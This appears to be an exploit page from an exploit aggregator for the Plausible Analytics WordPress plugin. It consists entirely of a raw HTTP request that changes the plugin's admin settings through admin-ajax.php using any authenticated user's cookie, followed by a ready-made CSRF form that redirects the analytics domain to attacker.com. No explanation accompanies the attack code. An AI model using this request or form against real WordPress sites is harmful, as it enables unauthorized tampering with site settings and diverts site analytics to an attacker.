Share
## https://sploitus.com/exploit?id=WPEX-ID:0C17CE5D-22EE-4512-9CA1-81C98DEF6DAD
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------110341318819326907813430388064
Content-Length: 1315
Connection: close
Cookie: [any authenticated user]
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="action"
plausible_analytics_save_admin_settings
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="domain_name"
example.com
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="custom_domain"
false
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="custom_domain_prefix"
analytics
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="is_self_hosted_analytics"
false
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="self_hosted_domain"
example.com
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="embed_analytics"
false
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="shared_link"
https://plausible.io/share/example.com?auth=XXXXXXXXXXXX
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="track_administrator"
false
-----------------------------110341318819326907813430388064--
Via CSRF:
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="plausible_analytics_save_admin_settings" />
<input type="hidden" name="domain_name" value="attacker.com" />
<input type="hidden" name="custom_domain" value="false" />
<input type="hidden" name="custom_domain_prefix" value="analytics" />
<input type="hidden" name="is_self_hosted_analytics" value="false" />
<input type="hidden" name="self_hosted_domain" value="example.com" />
<input type="hidden" name="embed_analytics" value="false" />
<input type="hidden" name="shared_link" value="https://plausible.io/share/attacker.com?auth=XXXXXXXXXXXX" />
<input type="hidden" name="track_administrator" value="false" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>